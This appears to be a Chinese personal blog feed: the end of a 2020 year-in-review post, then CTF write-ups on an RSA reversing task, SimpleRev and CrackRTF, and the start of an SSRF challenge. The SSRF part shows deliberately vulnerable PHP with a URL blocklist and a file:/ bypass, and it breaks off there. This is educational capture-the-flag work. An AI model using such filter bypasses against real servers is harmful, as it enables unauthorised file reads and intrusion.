--><p><a href="https://deoplljj.com/2020/03/amazinggift/" data-type="URL" data-id="https://deoplljj.com/2020/03/amazinggift/">查看这条博文：</a><a href="https://deoplljj.com/2020/03/amazinggift/">https://deoplljj.com/2020/03/amazinggift/</a></p><!-- /wp:paragraph --><!-- wp:paragraph --><p>虽说这份作品至今令我引以为傲，但现在回想起来，却觉得十分后悔。可能是因为这份作品时间跨度很长，而且它倾尽了我那段时间的所有心血，但之前支撑我完成这份作品的那个东西早已在前一小段时间支离破碎了吧。或许过不了多久，这个东西就会被丢进垃圾桶里。现在每每想起那段时光，都感觉无比心痛与后悔，犹如黑历史一般的存在，但又久久不能放下。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>除此以外，在2020年的春天，我还做了一些拓展自己兴趣面的尝试，包括继续尝试破解高中有研究过的app，在Github上上传第一个项目（实用小工具）等，并尝试用博客的形式将它们完整记录下来。这也是我开放个人博客的初衷——记录生活，记录技术，记录成长。</p><!-- /wp:paragraph --><!-- wp:heading {"level":3} --><h3>夏</h3><!-- /wp:heading --><!-- wp:paragraph --><p>在春天快结束的时候，国内的疫情也得到了基本的控制。我们也经历了一段非常奇特的“线上”学期。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>在5月底，我通过了科目二和科目三的考试——两次考试都充满了惊险，包括科目三由于前车阻挡以及自己紧张差点挂掉、科目二抽到全场离合器最烂的车等事情，但是可能是由于自己的好运气，都一次性通过了。在6月中旬，我和一起练车的朋友一起拿到了驾照。在拿到驾照后，我和家人共同参考了几款汽车，并最终在7月中旬买了车，于是，开车也就成为了这个暑假的主题之一。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>线上的学期结束以后，由于一个偶然的机会，我前往了漳州与自己相识多年却未曾谋面的朋友@lyx见了面，同时参加了他在漳州某“偏僻”的山庄开的CTF入门课，做他的助理。这个经历也是非常有趣且难忘——最重要的是终于和朋友见了一次面。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>在正式进入暑假之后，和朋友或者和老爸一起开车出去玩耍便成了整个暑假最令人开心的事情之一。第一次开着教练车以外的车上路，令人兴奋也令人紧张，但很快乐。很快地，紧张感消失了，我甚至在拿证上路的第一天就在老爸的陪同下上了高速，跑上了110km/h速度，可能也算是小有成就吧。</p><!-- /wp:paragraph --><!-- wp:image {"id":722,"sizeSlug":"large","linkDestination":"none"} --><figure class="wp-block-image size-large"><img src="/images/2021/01/8e5ce17189c9e29f8b74f85938538e5-1024x769.jpg" alt="" class="wp-image-722"/></figure><!-- /wp:image --><!-- wp:paragraph --><p>可能是由于初次拿证，感觉有着用不完的新鲜感。在这个暑假里面，我甚至把整个武平的城区每一个角落、每一个乡镇都逛了一遍，以至于在快开学的时候我对这个城市的一切都有些许不舍。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>在这个夏天另一件难忘的事情是拍星空。由于一个偶然的机会，我和朋友发现了用手机也可以拍摄星空和银河，于是在今年夏天，我们选择了多个取景地来拍摄星空。由于在城区的光污染非常严重，因此我们只能到郊外甚至是乡下才能找到没有城市光源影响的地方，这在之前用自行车是几乎不可能的事情，但是正好我们都拿到了驾照，于是我们就可以开车去城郊或者乡下来拍摄星空。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>这个爱好在家长看来十分奇怪，但是我们在白天查询当夜的天象、晚上华灯初上时带着器材开车去郊外朝着天空中那些深不可测的亮点拍摄，这种感觉令人感觉到兴奋。在拍摄的过程中时常会无端地想：这些星星离我们究竟有多遥远？这些光是多少年前发出的，经过了多久才到了地球？</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>这个夏天已经永远过去了，但这些照片无疑是这个夏天最美好的纪念。</p><!-- /wp:paragraph --><!-- wp:image {"id":723,"sizeSlug":"large","linkDestination":"none"} --><figure class="wp-block-image size-large"><img src="/images/2021/01/IMG_20200810_2150181.jpg" alt="" class="wp-image-723"/></figure><!-- /wp:image --><!-- wp:image {"align":"center","id":724,"sizeSlug":"large","linkDestination":"none"} --><div class="wp-block-image"><figure class="aligncenter size-large"><img src="/images/2021/01/IMG_20200810_2101021.jpg" alt="" class="wp-image-724"/></figure></div><!-- /wp:image --><!-- wp:image {"align":"center","id":725,"sizeSlug":"large","linkDestination":"none"} --><div class="wp-block-image"><figure class="aligncenter size-large"><img src="/images/2021/01/image-2-1024x760.png" alt="" class="wp-image-725"/></figure></div><!-- /wp:image --><!-- wp:heading {"level":3} --><h3>秋</h3><!-- /wp:heading --><!-- wp:paragraph --><p>时隔八个月之后，终于又回到了学校。和大家一样，只在学校呆了半年就升了一级，进入了大二。而我也阴差阳错的成为了院会主席团的成员（差不多相当于副主席）。这一个学期的忙碌从一开学便开始了。从准备新生入学所需要的文件、宣传材料，到给各学院领导录取欢迎新生的视频、剪辑、审核，所有人都忙的不可开交。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>在忙的过程中，我还参加了黑盾杯。这也是我第一次比较完整的见到学校内的CTF同好和大佬们。感谢之前有在网鼎杯和强网杯赛前所作的努力，这一次省级比赛的题目做得还算是顺手，并且成功进入了AWD决赛，这也是我第一次打入线下决赛，一开始什么都不懂，最终瞎弄找到了几个漏洞，几轮攻击后成功上分。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>黑盾杯最终以省三等奖告终。这也算是CTF生涯中的第一张证书吧。</p><!-- /wp:paragraph --><!-- wp:image {"id":727,"sizeSlug":"large","linkDestination":"none"} --><figure class="wp-block-image size-large"><img src="/images/2021/01/学业_福建省黑盾杯三等奖.jpg" alt="" class="wp-image-727"/></figure><!-- /wp:image --><!-- wp:paragraph --><p>这个秋天，甚至这个学期的忙碌似乎都没有停下来过，准备网安校队的迎新、拍摄学院TS的视频、准备迎新晚会的视频、排练迎新晚会的节目...</p><!-- /wp:paragraph --><!-- wp:heading {"level":3} --><h3>冬·年末</h3><!-- /wp:heading --><!-- wp:paragraph --><p>时间如水一般在指尖滑过。感觉刚开学似乎没有多久，天气就开始进入冬天的状态了。在年底有两件大事，一是网安的校级组队赛，二是学院的迎新晚会。、</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>在本次比赛中，我担任的是出题团队成员以及服务器运维。今年网安的校级赛本以为会如往年一样，60几个人比赛。今年因为有了网信办的红头通知文件，最终吸引到了1000多人来参赛。在一开始我们有些不知所措，因为似乎在学校的历史上，从来没有举办过如此大规模的专业竞赛。加上这次比赛是在线上，对于服务器的负载能力和运维无疑都是巨大的挑战。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>好巧不巧的是，在网安校赛举办的同一天——12月18日，我们学院也要举办迎新晚会。这次晚会我有两个节目，一个负责抽奖和互动墙的技术职务。本以为今年的迎新晚会要比去年轻松，但是在当天早上开始到晚上还是如打仗一般，时间非常紧凑。唯一感觉比去年进步的是，自己能够更好的“多线程”处理任务，面对扎堆而来的任务，能够更合理的安排时间。这或许就是相比于去年的一种成长吧。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>两个节目都差点“翻车”，朗诵差点开口跪，学生会情景剧下台的时候直接摔了一跤...不过还好，演出都圆满结束了。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>同时举办的网安校赛也在两天后圆满结束了。当得知全省的网安大咖——许力老师会来参加我们的颁奖典礼之后我感到惊喜又惊讶。在颁奖典礼上，我终于有机会同全校的参赛者们见了个面。看着自己参与举办的比赛圆满落幕，心中满是成就感。（虽然因为有两题脑洞有点大好多人想暴打我哈哈哈哈哈）</p><!-- /wp:paragraph --><!-- wp:image {"id":729,"sizeSlug":"large","linkDestination":"none"} --><figure class="wp-block-image size-large"><img src="/images/2021/01/6081792DD740A7750FDAEF3FA982D3FD-1024x502.jpg" alt="" class="wp-image-729"/></figure><!-- /wp:image --><!-- wp:image {"id":730,"sizeSlug":"large","linkDestination":"none"} --><figure class="wp-block-image size-large"><img src="/images/2021/01/image-3.png" alt="" class="wp-image-730"/><figcaption>问卷题目：你最想暴打哪位出题人</figcaption></figure><!-- /wp:image --><!-- wp:paragraph --><p>听一首歌，忆一段时光。正如现在听起高考前用来睡前放松的音乐，眼前马上浮现出一幕幕高考前备战的场景一样，听起去年刚入学的时候收藏的歌，就会马上想起去年那个刚刚踏入校门的懵懂的自己。但是我却不太想听去年年末的歌曲。去年圣诞收藏的《Raindrop》仿佛预示着一年后的现在。在年末这几天，一个人在我心目中的人设已经彻底崩塌，同时自己也陷入了深深的迷茫当中，不知所措。我只能不断提醒自己，That perfect one is gone.也算是看清了吧。</p><!-- /wp:paragraph --><!-- wp:heading --><h2>展望2021</h2><!-- /wp:heading --><!-- wp:paragraph --><p>与以往几年年纪的大气结尾不同，2020年的结尾可能略显沉抑。但是往事已往，人总是要向前看。那些已经过去的事情不管怎么留恋，都已经永远成为往事了。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>正如去年年纪中所写的，大学最重要的就是发现和发展自己的价值。如今又过了一年，我也对自己的个人价值有了更加深入的认识，也大致把握好了自己未来几个可行的发展方向。希望在新的一年里，能够朝着这些方向去努力、提升自己，守住自己的初心，发展自己的价值。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>在去年年末的时候，我加入了一个团队。在这个团队中与其他队员合作得非常愉快，并且也已经获得了一小点的成绩。在未来的一年中，我们小组有一个“秘密”的而又有雄心大志的计划。每每想起这个项目计划，都有一种仿佛能够“改变世界”的感觉，虽然说可能只是初生牛犊不怕虎和年轻的狂热，但是我觉得这一切值得一搏——趁着还年轻。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>同时还是希望能够在新的一年里能够更加合理的安排时间，尽量均衡的去平衡学习、比赛、项目等的时间，努力成为自己想成为的样子。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>每天都觉得在年末写出年纪后，自己的故事一定能感动别人，而写出来才发现，只有自己懂得自己的经历，以及那些酸甜苦辣。在别人眼中，可能这就只是另一个人平淡无奇的故事罢了。但对于自己而言，将自己一年间快乐或是痛苦的回忆记录下来，也是为了让这些回忆在被忘却之前能够转换成文字。或许在若干年以后，再回首看看这些时光碎片，会留下不一样的感慨吧。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>在年纪的最后，希望2021年能够不念过往，不惧将来，勇敢前行。</p><!-- /wp:paragraph --><!-- wp:verse {"textAlign":"center"} --><pre class="wp-block-verse has-text-align-center"><strong>愿你历经千帆，归来仍是那个少年</strong></pre><!-- /wp:verse --><!-- wp:quote --><blockquote class="wp-block-quote"><p>追逐生命里&nbsp;&nbsp;光临身边的每道光</p><p>让世界因为你的存在变的闪亮</p><p>其实你我他并没有什么不同&nbsp;&nbsp;只要你愿为希望</p><p>画出一道想象&nbsp;&nbsp;成长的路上</p><p>必然经历很多风雨&nbsp;&nbsp;相信自己终有属于你的盛举</p><p>别因为磨难 停住你的脚步</p><p>坚持住&nbsp;&nbsp;就会拥有属于你的蓝图</p><p>我还是从前那个少年&nbsp;&nbsp;没有一丝丝改变</p><p>时间只不过是考验&nbsp;&nbsp;种在心中信念丝毫未减</p><p>眼前这个少年&nbsp;&nbsp;还是最初那张脸</p><p>面前再多艰险不退却</p><p>...</p></blockquote><!-- /wp:quote -->]]></content>
    
    
      
      
    <summary type="html">&lt;!-- wp:paragraph --&gt;
&lt;p&gt;在每一年的12月末，我都会在博客上写下关于这一年的总结。这到现在似乎已经成为了一种习惯。&lt;/p&gt;
&lt;!-- /wp:paragraph --&gt;

&lt;!-- wp:paragraph --&gt;
&lt;p&gt;2020年的12月末恰逢各种报告和</summary>
      
    
    
    
    <category term="生活" scheme="https://deoplljj.com/categories/%E7%94%9F%E6%B4%BB/"/>
    
    
  </entry>
  
  <entry>
    <title>[SUCTF2019]SignIn - RSA</title>
    <link href="https://deoplljj.com/2020/10/suctf2019signin-rsa/"/>
    <id>https://deoplljj.com/2020/10/suctf2019signin-rsa/</id>
    <published>2020-10-23T13:04:52.000Z</published>
    <updated>2021-03-21T13:32:37.000Z</updated>
    
    <content type="html"><![CDATA[<!-- wp:heading {"level":4} --><h4>[SUCTF2019]SignIn</h4><!-- /wp:heading --><!-- wp:enlighter/codeblock {"language":"cpp"} --><pre class="EnlighterJSRAW" data-enlighter-language="cpp" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">__int64 __fastcall main(__int64 a1, char **a2, char **a3){  char v4; // [rsp+0h] [rbp-4A0h]  char v5; // [rsp+10h] [rbp-490h]  char v6; // [rsp+20h] [rbp-480h]  char v7; // [rsp+30h] [rbp-470h]  char v8; // [rsp+40h] [rbp-460h]  char v9; // [rsp+B0h] [rbp-3F0h]  unsigned __int64 v10; // [rsp+498h] [rbp-8h]  v10 = __readfsqword(0x28u);  puts("[sign in]");  printf("[input your flag]: ", a2);  __isoc99_scanf("%99s", &amp;v8);  sub_96A(&amp;v8, (__int64)&amp;v9);  __gmpz_init_set_str((__int64)&amp;v7, (__int64)"ad939ff59f6e70bcbfad406f2494993757eee98b91bc244184a377520d06fc35", 16LL);  __gmpz_init_set_str((__int64)&amp;v6, (__int64)&amp;v9, 16LL);  __gmpz_init_set_str(    (__int64)&amp;v4,(__int64)"103461035900816914121390101299049044413950405173712170434161686539878160984549",    10LL);  __gmpz_init_set_str((__int64)&amp;v5, (__int64)"65537", 10LL);  __gmpz_powm(&amp;v6, &amp;v6, &amp;v5, &amp;v4);  if ( (unsigned int)__gmpz_cmp((__int64)&amp;v6, (__int64)&amp;v7) )    puts("GG!");  else    puts("TTTTTTTTTTql!");  return 0LL;}</pre><!-- /wp:enlighter/codeblock --><!-- wp:paragraph --><p>首先查阅__gmpz开头的函数，发现其是GNU库中的高进度算法库，实际操作的内容与我们这题无关。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>看到最后的<code>__gmpz_powm(&amp;v6, &amp;v6, &amp;v5, &amp;v4);</code> 基本上就可以推测是RSA了。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>v6是输入的明文，v4相当于输入的n，v5相当于RSA中的e，v6经过这个过程后变成RSA中的密文c，于是有：</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>$$c≡m^e \;mod\,n$$ </p><!-- /wp:paragraph --><!-- wp:paragraph --><p>在factordb中尝试分解n，发现其可以成功分解为p,q</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>于是有：</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>$$ed=1\,mod\,\phi(n)$$</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>求出d后便可计算出明文。</p><!-- /wp:paragraph --><!-- wp:enlighter/codeblock {"language":"python"} --><pre class="EnlighterJSRAW" data-enlighter-language="python" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">import gmpy2import rsaimport binasciie = 65537n = 103461035900816914121390101299049044413950405173712170434161686539878160984549p =  282164587459512124844245113950593348271q = 366669102002966856876605669837014229419enc = 0xad939ff59f6e70bcbfad406f2494993757eee98b91bc244184a377520d06fc35phi=(p-1)*(q-1)d =gmpy2.invert(e,phi)m = gmpy2.powmod(enc,d,p*q)print(binascii.unhexlify(hex(m)[2:]).decode(encoding="utf-8"))#print(hex(m)[2:].decode('hex'))key =rsa.PrivateKey(n, e, int(d), p, q)rsa.decrypt(enc.to_bytes(),key)</pre><!-- /wp:enlighter/codeblock --><!-- wp:paragraph --><p></p><!-- /wp:paragraph -->]]></content>
    
    
      
      
    <summary type="html">&lt;!-- wp:heading {&quot;level&quot;:4} --&gt;
&lt;h4&gt;[SUCTF2019]SignIn&lt;/h4&gt;
&lt;!-- /wp:heading --&gt;

&lt;!-- wp:enlighter/codeblock {&quot;language&quot;:&quot;cpp&quot;} --&gt;
&lt;pre cla</summary>
      
    
    
    
    <category term="题解" scheme="https://deoplljj.com/categories/%E9%A2%98%E8%A7%A3/"/>
    
    
  </entry>
  
  <entry>
    <title>10月buu刷题re部分笔记</title>
    <link href="https://deoplljj.com/2020/10/10%E6%9C%88buu%E5%88%B7%E9%A2%98re%E9%83%A8%E5%88%86%E7%AC%94%E8%AE%B0/"/>
    <id>https://deoplljj.com/2020/10/10%E6%9C%88buu%E5%88%B7%E9%A2%98re%E9%83%A8%E5%88%86%E7%AC%94%E8%AE%B0/</id>
    <published>2020-10-06T12:03:59.000Z</published>
    <updated>2021-03-21T13:32:37.000Z</updated>
    
    <content type="html"><![CDATA[<!-- wp:heading {"level":4} --><h4>buu-SimpleRev</h4><!-- /wp:heading --><!-- wp:enlighter/codeblock {"language":"cpp"} --><pre class="EnlighterJSRAW" data-enlighter-language="cpp" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">unsigned __int64 Decry(){  char cChar; // [rsp+Fh] [rbp-51h]  int v2; // [rsp+10h] [rbp-50h]  int v3; // [rsp+14h] [rbp-4Ch]  int i; // [rsp+18h] [rbp-48h]  int keyLength; // [rsp+1Ch] [rbp-44h]  char src[8]; // [rsp+20h] [rbp-40h]  __int64 v7; // [rsp+28h] [rbp-38h]  int v8; // [rsp+30h] [rbp-30h]  __int64 v9; // [rsp+40h] [rbp-20h]  __int64 v10; // [rsp+48h] [rbp-18h]  int v11; // [rsp+50h] [rbp-10h]  unsigned __int64 v12; // [rsp+58h] [rbp-8h]  v12 = __readfsqword(0x28u);  *(_QWORD *)src = 'SLCDN';  v7 = 0LL;  v8 = 0;  v9 = 'wodah';  v10 = 0LL;  v11 = 0;  text = join(key3, (const char *)&amp;v9);         // killshadow  strcpy(key, key1);  strcat(key, src);                             // ADSFKNDCLS  v2 = 0;  v3 = 0;  getchar();  keyLength = strlen(key);  for ( i = 0; i &lt; keyLength; ++i )  {    if ( key[v3 % keyLength] > '@' &amp;&amp; key[v3 % keyLength] &lt;= 'Z' )      key[i] = key[v3 % keyLength] + 32;    ++v3;  }  printf("Please input your flag:", src);  while ( 1 )  {    cChar = getchar();    if ( cChar == '\n' )      break;    if ( cChar == ' ' )    {      ++v2;    }    else    {      if ( cChar &lt;= '`' || cChar > 'z' )        // 不属于a-z的范围      {        if ( cChar > '@' &amp;&amp; cChar &lt;= 'Z' )      // 如果出现大写字母          str2[v2] = (cChar - 39 - key[v3++ % keyLength] + 'a') % 26 + 'a';      }      else      {        str2[v2] = (cChar - 39 - key[v3++ % keyLength] + 'a') % 26 + 'a';      }      if ( !(v3 % keyLength) )        putchar(' ');      ++v2;    }  }  if ( !strcmp(text, str2) )    puts("Congratulation!\n");  else    puts("Try again!\n");  return __readfsqword(0x28u) ^ v12;}</pre><!-- /wp:enlighter/codeblock --><!-- wp:paragraph --><p>这里需要注意大小端存储的问题。例如src由于是小端存储的，因此需要倒过来。其他的顺着原来的代码分析逆向即可。exp中flag的每一位都进行枚举判断即可。</p><!-- /wp:paragraph --><!-- wp:enlighter/codeblock {"language":"python"} --><pre class="EnlighterJSRAW" data-enlighter-language="python" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">key = list("adsfkndcls")text = list("killshadow")ll="ABCDEFGHIJKLMNOPQRSTUVWXYZ"a=0flag=''while(a&lt;len(text)):    for i in ll:        if((ord(i)-39-ord(key[a])+ord('a'))%26+ord('a')==ord(text[a])):            flag+=i            a+=1            breakprint(flag)</pre><!-- /wp:enlighter/codeblock --><!-- wp:heading {"level":4} --><h4>buuoj CrackRTF</h4><!-- /wp:heading --><!-- wp:enlighter/codeblock {"language":"cpp"} --><pre class="EnlighterJSRAW" data-enlighter-language="cpp" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">int main_0(){  DWORD v0; // eax  DWORD StringLen; // eax  CHAR String; // [esp+4Ch] [ebp-310h]  int v4; // [esp+150h] [ebp-20Ch]  CHAR String1; // [esp+154h] [ebp-208h]  BYTE pbData; // [esp+258h] [ebp-104h]  memset(&amp;pbData, 0, 0x104u);  memset(&amp;String1, 0, 0x104u);  v4 = 0;  printf("pls input the first passwd(1): ");  scanf("%s", &amp;pbData);  if ( strlen((const char *)&amp;pbData) != 6 )     // pbData=123321  {    printf("Must be 6 characters!\n");    ExitProcess(0);  }  v4 = atoi((const char *)&amp;pbData);  if ( v4 &lt; 100000 )    ExitProcess(0);  strcat((char *)&amp;pbData, "@DBApp");            // pbData=123321@DBApp  v0 = strlen((const char *)&amp;pbData);  sub_40100A(&amp;pbData, v0, &amp;String1);  if ( !_strcmpi(&amp;String1, "6E32D0943418C2C33385BC35A1470250DD8923A9") )// String1 = 6E32D0943418C2C33385BC35A1470250DD8923A9 (sha1)  {    printf("continue...\n\n");    printf("pls input the first passwd(2): ");    memset(&amp;String, 0, '\x01\x04');    scanf("%s", &amp;String);    if ( strlen(&amp;String) != 6 )    {      printf("Must be 6 characters!\n");        // String : Pwd Target      ExitProcess(0);    }    strcat(&amp;String, (const char *)&amp;pbData);     // String = Pwd+'123321@DBApp'    memset(&amp;String1, 0, 0404u);    StringLen = strlen(&amp;String);    sub_401019((BYTE *)&amp;String, StringLen, &amp;String1);// calc md5 val(String) -> String1    if ( !_strcmpi("27019e688a4e62a649fd99cadaafdb4e", &amp;String1) )    {      if ( !sub_40100F(&amp;String) )      {        printf("Error!!\n");        ExitProcess(0);      }      printf("bye ~~\n");    }  }  return 0;}</pre><!-- /wp:enlighter/codeblock --><!-- wp:paragraph --><p>要求两个密码，第一个字符串有40位。先进入<code>sub_401230</code>看看，传入的String参数是第二组的密码+"123321@DBApp"的值，继续分析：</p><!-- /wp:paragraph --><!-- wp:enlighter/codeblock {"language":"cpp"} --><pre class="EnlighterJSRAW" data-enlighter-language="cpp" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">int __cdecl sub_401230(BYTE *pbData, DWORD dwDataLen, LPSTR lpString1){  int result; // eax  DWORD i; // [esp+4Ch] [ebp-28h]  CHAR String2; // [esp+50h] [ebp-24h]  BYTE v6[20]; // [esp+54h] [ebp-20h]  DWORD pdwDataLen; // [esp+68h] [ebp-Ch]  HCRYPTHASH phHash; // [esp+6Ch] [ebp-8h]  HCRYPTPROV phProv; // [esp+70h] [ebp-4h]  if ( !CryptAcquireContextA(&amp;phProv, 0, 0, 1u, 0xF0000000) )    return 0;  if ( CryptCreateHash(phProv, 0x8004u, 0, 0, &amp;phHash) )  {    if ( CryptHashData(phHash, pbData, dwDataLen, 0) )    {      CryptGetHashParam(phHash, 2u, v6, &amp;pdwDataLen, 0);      *lpString1 = 0;      for ( i = 0; i &lt; pdwDataLen; ++i )      {        wsprintfA(&amp;String2, "%02X", v6[i]);        lstrcatA(lpString1, &amp;String2);      }      CryptDestroyHash(phHash);      CryptReleaseContext(phProv, 0);      result = 1;    }    else    {      CryptDestroyHash(phHash);      CryptReleaseContext(phProv, 0);      result = 0;    }  }  else  {    CryptReleaseContext(phProv, 0);    result = 0;  }  return result;}</pre><!-- /wp:enlighter/codeblock --><!-- wp:paragraph --><p>可以看到是一堆内置好的加密函数，其中<code>CryptCreateHash</code>函数的第二个参数是0x8004，找到官方文档，是sha1。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p><a href="https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id">https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id</a></p><!-- /wp:paragraph --><!-- wp:image {"id":682,"sizeSlug":"large"} --><figure class="wp-block-image size-large"><img src="/images/2020/10/image.png" alt="" class="wp-image-682"/></figure><!-- /wp:image --><!-- wp:image {"id":683,"sizeSlug":"large"} --><figure class="wp-block-image size-large"><img src="/images/2020/10/image-1-1024x139.png" alt="" class="wp-image-683"/></figure><!-- /wp:image --><!-- wp:paragraph --><p>由此可以推断，<code>6E32D0943418C2C33385BC35A1470250DD8923A9</code>就是第一组密码+"@DBApp" 的sha1值，由于只有六位，爆破即可，得到123321.</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>第二个加密是md5，但是爆破失败。先继续往下分析。<code>sub_40100F</code>传入的参数是</p><!-- /wp:paragraph --><!-- wp:enlighter/codeblock {"language":"cpp"} --><pre class="EnlighterJSRAW" data-enlighter-language="cpp" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">char __cdecl sub_4014D0(LPCSTR TarString){  LPCVOID rtfFile; // [esp+50h] [ebp-1Ch]  DWORD NumberOfBytesWritten; // [esp+58h] [ebp-14h]  DWORD nNumberOfBytesToWrite; // [esp+5Ch] [ebp-10h]  HGLOBAL hResData; // [esp+60h] [ebp-Ch]  HRSRC hResInfo; // [esp+64h] [ebp-8h]  HANDLE hFile; // [esp+68h] [ebp-4h]  hFile = 0;  hResData = 0;  nNumberOfBytesToWrite = 0;  NumberOfBytesWritten = 0;  hResInfo = FindResourceA(0, (LPCSTR)0x65, "AAA");  if ( !hResInfo )    return 0;  nNumberOfBytesToWrite = SizeofResource(0, hResInfo);  hResData = LoadResource(0, hResInfo);  if ( !hResData )    return 0;  rtfFile = LockResource(hResData);  sub_401005(TarString, (int)rtfFile, nNumberOfBytesToWrite);  hFile = CreateFileA("dbapp.rtf", 0x10000000u, 0, 0, 2u, 0x80u, 0);  if ( hFile == (HANDLE)-1 )    return 0;  if ( !WriteFile(hFile, rtfFile, nNumberOfBytesToWrite, &amp;NumberOfBytesWritten, 0) )    return 0;  CloseHandle(hFile);  return 1;}/*以下为sub_401005的关键代码：/*  v5 = lstrlenA(TarString);  for ( i = 0; ; ++i )  {    result = i;    if ( i >= rtfFileLength )      break;    *(_BYTE *)(i + rtfFile) ^= TarString[i % v5];  }  return result;</pre><!-- /wp:enlighter/codeblock --><!-- wp:paragraph --><p>使用Resource Hacker打开这个文件，得到：</p><!-- /wp:paragraph --><!-- wp:image {"id":685,"sizeSlug":"large"} --><figure class="wp-block-image size-large"><img src="/images/2020/10/image-2-1024x191.png" alt="" class="wp-image-685"/></figure><!-- /wp:image --><!-- wp:paragraph --><p>根据代码，程序会最终输出一个dbapp.rtf的文件，并将其与传入的String异或。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>由于rtf文件头已知（<code><em>{\rtf1</em></code>）因此，可以计算出String的前六位，即第二组6位密码。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>exp:</p><!-- /wp:paragraph --><!-- wp:enlighter/codeblock {"language":"python"} --><pre class="EnlighterJSRAW" data-enlighter-language="python" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">lockedrtf=[0x05,0x7d,0x41,0x15,0x26,0x01]rtfhead=list("{\\rtf1")ff=""for i in range(0,len(rtfhead)):    ff+=chr(lockedrtf[i]^ord(rtfhead[i]))print(ff)</pre><!-- /wp:enlighter/codeblock --><!-- wp:paragraph --><p>得到第一组密码<code>~!3a@0</code>，输入程序，即可在生成的rtf文件中找到flag。</p><!-- /wp:paragraph -->]]></content>
    
    
      
      
    <summary type="html">&lt;!-- wp:heading {&quot;level&quot;:4} --&gt;
&lt;h4&gt;buu-SimpleRev&lt;/h4&gt;
&lt;!-- /wp:heading --&gt;

&lt;!-- wp:enlighter/codeblock {&quot;language&quot;:&quot;cpp&quot;} --&gt;
&lt;pre class=&quot;</summary>
      
    
    
    
    <category term="题解" scheme="https://deoplljj.com/categories/%E9%A2%98%E8%A7%A3/"/>
    
    
  </entry>
  
  <entry>
    <title>Redis有关的SSRF+php原生类xss</title>
    <link href="https://deoplljj.com/2020/08/redis%E6%9C%89%E5%85%B3%E7%9A%84ssrfphp%E5%8E%9F%E7%94%9F%E7%B1%BBxss/"/>
    <id>https://deoplljj.com/2020/08/redis%E6%9C%89%E5%85%B3%E7%9A%84ssrfphp%E5%8E%9F%E7%94%9F%E7%B1%BBxss/</id>
    <published>2020-08-26T11:55:29.000Z</published>
    <updated>2021-03-21T13:32:37.000Z</updated>
    
    <content type="html"><![CDATA[<!-- wp:paragraph --><p>Redis和SSRF：<a href="https://xz.aliyun.com/t/1800">https://xz.aliyun.com/t/1800</a></p><!-- /wp:paragraph --><!-- wp:paragraph --><p>利用Gopher协议拓展攻击面：<a href="https://blog.chaitin.cn/gopher-attack-surfaces/">https://blog.chaitin.cn/gopher-attack-surfaces/</a></p><!-- /wp:paragraph --><!-- wp:heading {"level":4} --><h4>[GKCTF2020]EZ三剑客-EzWeb</h4><!-- /wp:heading --><!-- wp:paragraph --><p>首先访问?secret获取到本机ip信息</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>首页的搜索框存在文件包含，尝试file://协议发现被屏蔽了，尝试file:/协议发现可以，说明其过滤不严。于是直接读取file:/var/www/html/index.php获取源码</p><!-- /wp:paragraph --><!-- wp:enlighter/codeblock {"language":"php"} --><pre class="EnlighterJSRAW" data-enlighter-language="php" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">&lt;?phpfunction curl($url){      $ch = curl_init();    curl_setopt($ch, CURLOPT_URL, $url);    curl_setopt($ch, CURLOPT_HEADER, 0);    echo curl_exec($ch);    curl_close($ch);}if(isset($_GET['submit'])){        $url = $_GET['url'];        //echo $url."\n";        if(preg_match('/file\:\/\/|dict|\.\.\/|127.0.0.1|localhost/is', $url,$match))        {            //var_dump($match);            die('别这样');        }        curl($url);}if(isset($_GET['secret'])){    system('ifconfig');}?></pre><!-- /wp:enlighter/codeblock --><!-- wp:paragraph 